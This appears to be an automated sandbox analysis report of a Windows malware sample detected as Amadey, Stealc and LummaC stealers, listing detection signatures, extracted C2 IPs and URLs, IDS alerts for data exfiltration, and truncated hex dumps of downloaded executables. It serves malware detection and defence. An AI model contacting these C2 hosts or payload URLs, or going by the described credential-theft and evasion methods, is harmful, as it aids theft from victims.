Windows Analysis Report
file.exe

Overview

General Information

Sample name: file.exe
Analysis ID: 1561175
MD5: 09109fbe23b94bd3dc2605d7ab550ce3
SHA1: 3720744b4f909c4d98756c822c33ffa1f9f77b8b
SHA256: 94a2471c4477560421cd9fb3ff6cba275c459499c11d92436e88d1c11fc56cd1
Tags: exeuser-Bitsight
Infos:

Detection

Amadey, Credential Flusher, LummaC Stealer, Stealc
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Found malware configuration
Multi AV Scanner detection for dropped file
Suricata IDS alerts for network traffic
Yara detected Amadeys stealer DLL
Yara detected Credential Flusher
Yara detected LummaC Stealer
Yara detected Powershell download and execute
Yara detected Stealc
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
C2 URLs / IPs found in malware configuration
Creates multiple autostart registry keys
Disable Windows Defender notifications (registry)
Disable Windows Defender real time protection (registry)
Disables Windows Defender Tamper protection
Found many strings related to Crypto-Wallets (likely being stolen)
Hides threads from debuggers
Machine Learning detection for dropped file
Machine Learning detection for sample
Modifies windows update settings
PE file contains section with special chars
Query firmware table information (likely to detect VMs)
Sigma detected: New RUN Key Pointing to Suspicious Folder
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks for debuggers (devices)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for user specific document files
Sigma detected: CurrentVersion Autorun Keys Modification
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Uses taskkill to terminate processes
Yara detected Credential Stealer

Classification

Name Description Attribution Blogpost URLs Link
Amadey Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey
Name Description Attribution Blogpost URLs Link
Stealc Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: file.exe Avira: detected
Antivirus detection for URL or domain
Source: http://31.41.244.11/files/rnd.exe Avira URL Cloud: Label: malware
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Found malware configuration
Source: 00000003.00000003.2108909276.0000000004D00000.00000004.00001000.00020000.00000000.sdmp Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000008.00000002.2940799931.000000000170E000.00000004.00000020.00020000.00000000.sdmp Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: 5a0a40fcc4.exe.516.9.memstrmin Malware Configuration Extractor: LummaC {"C2 url": "https://property-imper.sbs/api", "Build Version": "LOGS11--LiveTraffi"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\4[1].exe ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1008259001\4.exe ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe ReversingLabs: Detection: 47%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: file.exe Joe Sandbox ML: detected
Source: 4.exe, 00000021.00000000.3232386201.0000000000865000.00000002.00000001.01000000.00000018.sdmp Binary or memory string: -----BEGIN PUBLIC KEY----- memstr_a044f627-f
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.5:49841 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.5:49882 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.5:49898 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.5:49912 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:49922 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:49924 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.5:49927 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.5:49942 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.5:49954 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.5:49965 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.5:49985 version: TLS 1.2
Source: Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: a6260c40a9.exe, 0000001C.00000003.3074341308.00000000049F0000.00000004.00001000.00020000.00000000.sdmp, a6260c40a9.exe, 0000001C.00000002.3212470642.0000000000C82000.00000040.00000001.01000000.00000015.sdmp, a6260c40a9.exe, 00000020.00000002.3240009802.0000000000C82000.00000040.00000001.01000000.00000015.sdmp, a6260c40a9.exe, 00000020.00000003.3198592040.0000000005040000.00000004.00001000.00020000.00000000.sdmp
Source: firefox.exe Memory has grown: Private usage: 2MB later: 182MB

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49809 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49815
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49837 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49859 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49864 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49879 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49917 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2018581 - Severity 1 - ET MALWARE Single char EXE direct download likely trojan (multiple families) : 192.168.2.5:49932 -> 103.130.147.211:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49931 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49975 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50007 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49841 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49841 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49882 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49882 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49898 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49898 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49954 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:49965 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49985 -> 172.67.162.84:443
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor URLs: https://property-imper.sbs/api
Source: Malware configuration extractor IPs: 185.215.113.43
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 22 Nov 2024 20:20:09 GMTContent-Type: application/octet-streamContent-Length: 1856000Last-Modified: Fri, 22 Nov 2024 19:33:01 GMTConnection: keep-aliveETag: "6740dc6d-1c5200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 70 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 49 00 00 04 00 00 d4 df 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 60 05 00 00 10 00 00 00 62 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 70 05 00 00 02 00 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 05 00 00 02 00 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2a 00 00 90 05 00 00 02 00 00 00 76 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 63 6b 67 73 6d 72 69 00 c0 19 00 00 a0 2f 00 00 b4 19 00 00 78 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 6f 64 77 61 73 61 71 00 10 00 00 00 60 49 00 00 04 00 00 00 2c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 49 00 00 22 00 00 00 30 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 22 Nov 2024 20:20:18 GMTContent-Type: application/octet-streamContent-Length: 1789440Last-Modified: Fri, 22 Nov 2024 19:33:08 GMTConnection: keep-aliveETag: "6740dc74-1b4e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 50 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 80 68 00 00 04 00 00 be 99 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 29 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 6b 72 6d 71 77 68 6f 00 b0 19 00 00 90 4e 00 00 b0 19 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 7a 78 78 70 76 6d 6d 00 10 00 00 00 40 68 00 00 04 00 00 00 28 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 68 00 00 22 00 00 00 2c 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 22 Nov 2024 20:20:27 GMTContent-Type: application/octet-streamContent-Length: 923136Last-Modified: Fri, 22 Nov 2024 19:31:16 GMTConnection: keep-aliveETag: "6740dc04-e1600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 fb db 40 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 66 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 32 d8 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 d8 ab 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d8 ab 00 00 00 40 0d 00 00 ac 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 a0 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 22 Nov 2024 20:20:34 GMTContent-Type: application/octet-streamContent-Length: 2819584Last-Modified: Fri, 22 Nov 2024 19:31:41 GMTConnection: keep-aliveETag: "6740dc1d-2b0600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 57 d5 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6a 61 6a 65 79 72 68 79 00 c0 2a 00 00 a0 00 00 00 a6 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 71 73 6b 66 66 71 6f 00 20 00 00 00 60 2b 00 00 04 00 00 00 e0 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2b 00 00 22 00 00 00 e4 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 